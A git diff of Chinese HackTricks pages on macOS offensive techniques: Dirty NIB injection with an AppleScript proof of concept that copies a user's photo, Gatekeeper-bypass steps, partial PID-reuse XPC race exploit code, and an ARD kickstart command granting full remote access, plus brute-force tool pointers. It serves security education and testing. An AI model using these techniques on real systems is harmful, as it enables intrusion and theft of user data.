* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。**
</details>
```

View file

@ -2,128 +2,70 @@
<details> <details>
<summary><strong>零基础学习AWS黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
**此技术摘自帖子** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) **有关该技术的更多详细信息,请查看原始帖子:[https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)**。以下是摘要:
## 基本信息 NIB文件是苹果开发生态系统的一部分用于定义应用程序中的**UI元素**及其交互。它们包含诸如窗口和按钮之类的序列化对象并在运行时加载。尽管它们仍在使用中但苹果现在倡导使用Storyboards来更全面地可视化UI流程。
NIB文件在苹果的开发生态系统中用于**定义用户界面UI元素**及其在应用程序中的交互。这些文件是使用Interface Builder工具创建的包含**序列化对象**如窗口、按钮和文本字段这些对象在运行时加载以展示设计的UI。尽管NIB文件仍在使用中苹果已经开始推荐使用Storyboards来更直观地表示应用程序的UI流程。 ### NIB文件的安全问题
需要注意的是**NIB文件可能存在安全风险**。它们有可能**执行任意命令**而对应用程序中NIB文件的更改不会阻止Gatekeeper执行该应用程序构成重大威胁。
{% hint style="danger" %} ### Dirty NIB注入过程
此外,**NIB文件**也可以用来**运行任意命令**如果应用中的NIB文件被修改**Gatekeeper仍然允许执行该应用**,因此它们可以用来**在应用程序内运行任意命令**。 #### 创建和设置NIB文件
{% endhint %} 1. **初始设置**
- 使用XCode创建一个新的NIB文件。
- 向界面添加一个对象,并将其类设置为`NSAppleScript`。
- 通过用户定义的运行时属性配置初始的`source`属性。
## Dirty NIB注入 <a href="#dirtynib" id="dirtynib"></a> 2. **代码执行小工具**
- 设置可按需运行AppleScript。
- 集成一个按钮来激活`Apple Script`对象,特别触发`executeAndReturnError:`选择器。
首先我们需要创建一个新的NIB文件我们将使用XCode来完成大部分构建工作。我们开始通过向界面添加一个对象并将类设置为NSAppleScript 3. **测试**
- 用于测试目的的简单Apple Script
<figure><img src="../../../.gitbook/assets/image (681).png" alt="" width="380"><figcaption></figcaption></figure>
对于该对象,我们需要设置初始的`source`属性,我们可以使用用户定义的运行时属性来完成:
<figure><img src="../../../.gitbook/assets/image (682).png" alt="" width="563"><figcaption></figcaption></figure>
这样就建立了我们的代码执行小工具,它将在请求时**运行AppleScript**。为了实际触发AppleScript的执行我们现在只添加一个按钮当然你可以在这方面发挥创意;)。按钮将绑定到我们刚刚创建的`Apple Script`对象,并将**调用`executeAndReturnError:`选择器**
<figure><img src="../../../.gitbook/assets/image (683).png" alt="" width="563"><figcaption></figcaption></figure>
为了测试我们将只使用Apple Script代码
```bash ```bash
set theDialogText to "PWND" set theDialogText to "PWND"
display dialog theDialogText display dialog theDialogText
``` ```
如果我们在XCode调试器中运行这个并点击按钮 - 在XCode调试器中运行并单击按钮进行测试。
<figure><img src="../../../.gitbook/assets/image (684).png" alt="" width="563"><figcaption></figcaption></figure> #### 针对应用程序的攻击示例Pages
1. **准备工作**
- 将目标应用程序例如Pages复制到一个单独的目录中例如`/tmp/`)。
- 启动应用程序以规避Gatekeeper问题并缓存它。
有了从NIB执行任意AppleScript代码的能力我们接下来需要一个目标。让我们选择Pages作为我们的初始演示目标这当然是一个苹果应用程序理论上不应该被我们修改。 2. **覆盖NIB文件**
- 用精心制作的DirtyNIB文件替换现有的NIB文件例如About Panel NIB
我们将首先将应用程序复制到`/tmp/`目录: 3. **执行**
```bash - 通过与应用程序交互(例如选择`About`菜单项)来触发执行。
cp -a -X /Applications/Pages.app /tmp/
```
然后我们将启动应用程序以避免任何Gatekeeper问题并允许内容被缓存
```bash
open -W -g -j /Applications/Pages.app
```
在第一次启动并终止应用程序后我们需要用我们的DirtyNIB文件覆盖一个现有的NIB文件。为了演示目的我们将覆盖关于面板NIB这样我们可以控制执行过程
```bash
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
```
一旦我们覆盖了nib我们可以通过选择`About`菜单项来触发执行:
<figure><img src="../../../.gitbook/assets/image (685).png" alt="" width="563"><figcaption></figcaption></figure> #### 概念验证:访问用户数据
- 修改AppleScript以访问和提取用户数据例如照片而无需用户同意。
如果我们更仔细地观察Pages我们会发现它有一个私有权限允许访问用户的Photos ### 代码示例:恶意.xib文件
- 访问并查看一个[**恶意.xib文件的示例**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4),演示执行任意代码。
<figure><img src="../../../.gitbook/assets/image (686).png" alt="" width="479"><figcaption></figcaption></figure> ### 处理启动约束
- 启动约束阻止应用程序从意外位置(例如`/tmp`)执行。
- 可以识别未受启动约束保护的应用程序并针对它们进行NIB文件注入。
因此,我们可以通过**修改我们的AppleScript来窃取用户的照片**而不提示用户来测试我们的POC ### 其他macOS保护措施
从macOS Sonoma开始限制了在应用程序包内部进行修改。但是早期的方法包括
1. 将应用程序复制到不同位置(例如`/tmp/`)。
2. 重命名应用程序包内的目录以绕过初始保护。
3. 运行应用程序以向Gatekeeper注册后修改应用程序包例如用Dirty.nib替换MainMenu.nib
4. 将目录重新命名并重新运行应用程序以执行注入的NIB文件。
{% code overflow="wrap" %} **注意**最近的macOS更新通过防止Gatekeeper缓存后应用程序包内的文件修改来减轻了此漏洞使该漏洞失效。
```applescript
use framework "Cocoa"
use framework "Foundation"
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
```
{% endcode %}
{% hint style="danger" %}
[**恶意 .xib 文件执行任意代码示例。**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)
{% endhint %}
## 创建你自己的 DirtyNIB
## 启动限制
它们基本上**阻止在预期位置之外执行应用程序**,所以如果你将受到启动限制保护的应用程序复制到 `/tmp`,你将无法执行它。\
[**在这篇文章中找到更多信息**](../macos-security-protections/#launch-constraints)**。**
然而,解析文件 **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`** 时,你仍然可以找到**没有受到启动限制保护的应用程序**,因此你仍然可以**注入** **NIB** 文件到**那些**任意位置(查看前面的链接学习如何找到这些应用程序)。
## 额外保护
从 macOS Somona 开始,有一些保护措施**防止在应用程序内部写入**。然而,如果在运行你复制的二进制文件之前,你更改了 Contents 文件夹的名称,仍然可以绕过这个保护:
1. 将 `CarPlay Simulator.app` 的副本复制到 `/tmp/`
2. 重命名 `/tmp/Carplay Simulator.app/Contents``/tmp/CarPlay Simulator.app/NotCon`
3. 启动二进制文件 `/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator` 以在 Gatekeeper 中缓存
4. 用我们的 `Dirty.nib` 文件覆盖 `NotCon/Resources/Base.lproj/MainMenu.nib`
5. 重命名为 `/tmp/CarPlay Simulator.app/Contents`
6. 再次启动 `CarPlay Simulator.app`
{% hint style="success" %}
看起来这已经不再可能,因为 macOS **阻止修改** 应用程序包内的文件。\
所以,在执行应用程序以使用 Gatekeeper 缓存之后,你将无法修改包。\
如果你更改了 Contents 目录的名称为 **NotCon**(如在漏洞中所示),然后执行应用程序的主二进制文件以使用 Gatekeeper 缓存,它将**触发错误并不会执行**。
{% endhint %}
<details>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。**
</details>

View file

@ -2,38 +2,38 @@
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持 HackTricks 的其他方式:
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family) 收藏 * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我**。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
## PID 重用 ## PID 重用
当 macOS **XPC 服务**基于 **PID** 而不是 **audit token** 来检查被调用进程时,它容易受到 PID 重用攻击。这种攻击基于一种 **竞态条件**,其中 **exploit** 将向 XPC 服务**发送消息****滥用**功能,紧接着执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 与**允许**二进制文件。 当 macOS **XPC 服务**基于 **PID** 而不是 **审计令牌** 来检查调用进程时,就容易受到 PID 重用攻击的影响。这种攻击基于 **竞争条件**,其中一个 **利用程序**将会**向 XPC 服务发送消息****滥用**功能,然后**立即**执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 与**允许**二进制文件。
这个函数将使**允许的二进制文件拥有 PID**,但**恶意 XPC 消息将在此之前发送**。因此,如果 **XPC** 服务**使用** **PID** 来**认证**发送者,并在执行 **`posix_spawn`** **之后**检查它,它会认为它来自一个**授权**的进程。 这个函数将使**允许的二进制文件拥有 PID**,但**恶意 XPC 消息**将在此之前发送。因此,如果 **XPC** 服务在执行 **`posix_spawn`** 之后使用 **PID** 来**验证**发送者并在**检查**之后,它会认为消息来自**授权的**进程。
### Exploit 示例 ### 攻击示例
如果您发现函数 **`shouldAcceptNewConnection`** 或由它**调用**的函数**调用** **`processIdentifier`** 而不调用 **`auditToken`**。这很可能意味着它正在**验证进程 PID** 而不是审计令牌。\ 如果您发现函数 **`shouldAcceptNewConnection`** 或其调用的函数**调用** **`processIdentifier`** 而不调用 **`auditToken`**。这很可能意味着它正在**验证进程 PID** 而不是审计令牌。\
例如在这张图片中(取自参考资料): 例如,如下图所示(摘自参考资料):
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
查看此示例 exploit同样取自参考资料以查看 exploit 的两个部分: 检查此示例攻击(同样摘自参考资料)以查看攻击的两个部分:
* 一个**生成多个分支** * 一个**生成多个 fork**
* **每个分支** 将在发送消息后立即执行 **`posix_spawn`**,同时**发送** **payload** 到 XPC 服务 * **每个 fork** 将在发送消息后立即执行 **`posix_spawn`** 向 XPC 服务发送**有效载荷**
{% hint style="danger" %} {% hint style="danger" %}
为了使 exploit 起作用,重要的是要 `export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** 或在 exploit 中放入 为了使攻击生效,重要的是`export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** 或将其放入攻击中
```objectivec ```objectivec
asm(".section __DATA,__objc_fork_ok\n" asm(".section __DATA,__objc_fork_ok\n"
"empty:\n" "empty:\n"
@ -43,9 +43,9 @@ asm(".section __DATA,__objc_fork_ok\n"
{% tabs %} {% tabs %}
{% tab title="NSTasks" %} {% tab title="NSTasks" %}
首个选项使用 **`NSTasks`** 和参数来启动子进程以利用RC 第一种选项是使用**`NSTasks`**和参数来启动子进程以利用RC
```objectivec ```objectivec
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ // Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl // gcc -framework Foundation expl.m -o expl
#import <Foundation/Foundation.h> #import <Foundation/Foundation.h>
@ -152,7 +152,7 @@ return 0;
{% endtab %} {% endtab %}
{% tab title="fork" %} {% tab title="fork" %}
示例使用原始的 **`fork`** 来启动**利用 PID 竞争条件的子进程**,然后通过**硬链接**利用**另一个竞争条件** 这个示例使用原始的 **`fork`** 来启动 **利用PID竞争条件的子进程**,然后通过硬链接利用 **另一个竞争条件**
```objectivec ```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES // export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl // gcc -framework Foundation expl.m -o expl
@ -285,9 +285,6 @@ pwned = true;
return 0; return 0;
} }
``` ```
{% endtab %}
{% endtabs %}
## 参考资料 ## 参考资料
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/) * [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
@ -295,14 +292,14 @@ return 0;
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,30 +1,30 @@
# macOS 网络服务与协议 # macOS网络服务与协议
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您希望在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR **分享您的黑客技巧** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## 远程访问服务 ## 远程访问服务
这些是常见的 macOS 服务,用于远程访问它们。\ 这些是常见的macOS远程访问服务。\
您可以在 `系统设置` --> `共享` 中启用/禁用这些服务 您可以在`系统偏好设置` --> `共享`中启用/禁用这些服务
* **VNC**称为“屏幕共享”tcp:5900 * **VNC**称为“屏幕共享”tcp:5900
* **SSH**称为“远程登录”tcp:22 * **SSH**称为“远程登录”tcp:22
* **Apple Remote Desktop** (ARD)或“远程管理”tcp:3283, tcp:5900 * **Apple远程桌面**ARD或称“远程管理”tcp:3283tcp:5900
* **AppleEvent**称为“远程 Apple 事件”tcp:3031 * **AppleEvent**称为“远程Apple事件”tcp:3031
通过运行以下命令检查是否启用任何服务: 运行以下命令检查是否启用任何服务:
```bash ```bash
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
@ -34,75 +34,63 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
``` ```
### ARD 渗透测试 ### 渗透测试 ARD
(此部分摘自[**此博客文章**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html) Apple 远程桌面ARD是针对 macOS 定制的 [虚拟网络计算VNC](https://en.wikipedia.org/wiki/Virtual_Network_Computing) 的增强版本提供额外功能。ARD 中一个显著的漏洞是其控制屏幕密码的身份验证方法仅使用密码的前 8 个字符,容易受到[暴力破解攻击](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html)的影响,使用 Hydra 或 [GoRedShell](https://github.com/ahhh/GoRedShell/) 等工具,因为没有默认速率限制。
它本质上是一个带有一些**额外 macOS 特定功能**的变种 [VNC](https://en.wikipedia.org/wiki/Virtual\_Network\_Computing)。\ 可以使用 **nmap**`vnc-info` 脚本识别存在漏洞的实例。支持 `VNC Authentication (2)` 的服务特别容易受到暴力破解攻击的影响,因为密码被截断为 8 个字符。
然而,**屏幕共享选项**只是一个**基础 VNC**服务器。还有一个高级的 ARD 或远程管理选项,用于**设置控制屏幕密码**,这将使 ARD 向后**兼容 VNC 客户端**。但是,这种认证方法有一个弱点,它将这个**密码**限制在一个**8字符认证缓冲区**内,使得使用像 [Hydra](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) 或 [GoRedShell](https://github.com/ahhh/GoRedShell/) 这样的工具进行**暴力破解**变得非常容易(默认情况下也**没有速率限制**)。\
您可以使用 **nmap** 识别**易受攻击的屏幕共享**或远程管理实例,使用脚本 `vnc-info`,如果服务支持 `VNC Authentication (2)`,那么它们很可能**易受暴力破解攻击**。服务会将所有通过网络发送的密码截断为8个字符这样如果您将 VNC 认证设置为 "password""passwords" 和 "password123" 都将进行认证。
<figure><img src="../../.gitbook/assets/image (9) (3).png" alt=""><figcaption></figcaption></figure> 要启用 ARD 以执行各种管理任务如特权升级、GUI 访问或用户监控,请使用以下命令:
如果您想启用它以提升权限(接受 TCC 提示),通过 GUI 访问或监视用户,可以启用它:
{% code overflow="wrap" %}
```bash ```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
``` ```
{% endcode %}
您可以在**观察**模式、**共享控制**和**完全控制**之间切换从窥探用户到一键接管他们的桌面。此外如果您获得ARD会话的访问权限即使在会话期间更改了用户的密码该会话也将保持开放状态直到会话终止。
您还可以**直接通过ARD发送unix命令**如果您是管理员用户可以指定root用户以root身份执行操作。您甚至可以使用这种unix命令方法来安排在特定时间运行远程任务但这是在指定时间作为网络连接发生的与存储在目标服务器上并执行相比。最后远程Spotlight是我最喜欢的功能之一。这非常整洁因为您可以快速且远程地运行低影响、索引搜索。这对于搜索敏感文件来说是非常有价值的因为它快速允许您同时在多台机器上运行搜索并且不会导致CPU使用率激增。
## Bonjour协议 ## Bonjour协议
**Bonjour**是苹果设计的技术,使得位于同一网络上的计算机和**设备能够了解其他计算机和设备提供的服务**。它的设计理念是任何支持Bonjour的设备都可以插入TCP/IP网络并且它会**选择一个IP地址**,使网络上的其他计算机**了解它提供的服务**。Bonjour有时也被称为Rendezvous、**零配置**或Zeroconf。\ Bonjour是苹果设计的技术允许**同一网络上的设备检测彼此提供的服务**。也被称为Rendezvous、**零配置**或Zeroconf它使设备能够加入TCP/IP网络**自动选择IP地址**,并向其他网络设备广播其服务。
零配置网络如Bonjour提供
* 必须能够**获取IP地址**即使没有DHCP服务器 由Bonjour提供的零配置网络确保设备可以
* 必须能够进行**名称到地址的转换**即使没有DNS服务器 * **即使没有DHCP服务器也能自动获取IP地址**
* 必须能够**发现网络上的服务** * 在不需要DNS服务器的情况下执行**名称到地址的转换**。
* **发现**网络上可用的服务。
设备将获得**169.254/16范围内的IP地址**并检查是否有其他设备正在使用该IP地址。如果没有它将保留该IP地址。Macs在其路由表中为此子网保留了一个条目`netstat -rn | grep 169` 使用Bonjour的设备将从**169.254/16范围内分配给自己一个IP地址**并验证其在网络上的唯一性。Mac会为这个子网维护一个路由表条目可以通过`netstat -rn | grep 169`进行验证。
对于DNS使用**组播DNSmDNS协议**。[**mDNS** **服务**监听端口**5353/UDP**](../../network-services-pentesting/5353-udp-multicast-dns-mdns.md),使用**常规DNS查询**,并使用**组播地址224.0.0.251**而不是仅向一个IP地址发送请求。任何监听这些请求的机器都会响应通常是向一个组播地址这样所有设备都可以更新它们的表。\ 对于DNSBonjour利用**多播DNSmDNS协议**。mDNS通过**端口5353/UDP**运行,使用**标准DNS查询**,但针对**多播地址224.0.0.251**。这种方法确保网络上所有监听设备都可以接收并响应查询,从而更新其记录。
每个设备在访问网络时都会**选择自己的名称**,设备会选择一个以.local**结尾的名称**(可能基于主机名或完全随机的一个)。
用于**发现服务的是DNS服务发现DNS-SD** 加入网络后,每个设备会自行选择一个名称,通常以**.local**结尾,可以从主机名或随机生成的名称中派生
零配置网络的最终要求是通过**DNS服务发现DNS-SD**来满足。DNS服务发现使用来自DNS SRV记录的语法但使用**DNS PTR记录以便如果有多个主机提供特定服务则可以返回多个结果**。客户端请求`<Service>.<Domain>`名称的PTR查找并**接收**零个或多个形式为`<Instance>.<Service>.<Domain>`的PTR记录列表。 网络内的服务发现由**DNS服务发现DNS-SD**实现。利用DNS SRV记录的格式DNS-SD使用**DNS PTR记录**来列出多个服务。寻找特定服务的客户端将请求`<Service>.<Domain>`的PTR记录如果服务在多个主机上可用则会收到格式为`<Instance>.<Service>.<Domain>`的PTR记录列表。
`dns-sd`二进制文件可用于**宣传服务和执行服务查找** `dns-sd`实用程序可用于**发现和广告网络服务**。以下是一些示例用法:
### 搜索SSH服务
要在网络上搜索SSH服务请使用以下命令
```bash ```bash
#Search ssh services
dns-sd -B _ssh._tcp dns-sd -B _ssh._tcp
Browsing for _ssh._tcp
DATE: ---Tue 27 Jul 2021---
12:23:20.361 ...STARTING...
Timestamp A/R Flags if Domain Service Type Instance Name
12:23:20.362 Add 3 1 local. _ssh._tcp. M-C02C934RMD6R
12:23:20.362 Add 3 10 local. _ssh._tcp. M-C02C934RMD6R
12:23:20.362 Add 2 16 local. _ssh._tcp. M-C02C934RMD6R
``` ```
这个命令启动了对_ssh._tcp服务的浏览并输出时间戳、标志、接口、域、服务类型和实例名称等详细信息。
### 广告一个HTTP服务
要广告一个HTTP服务你可以使用
```bash ```bash
#Announce HTTP service
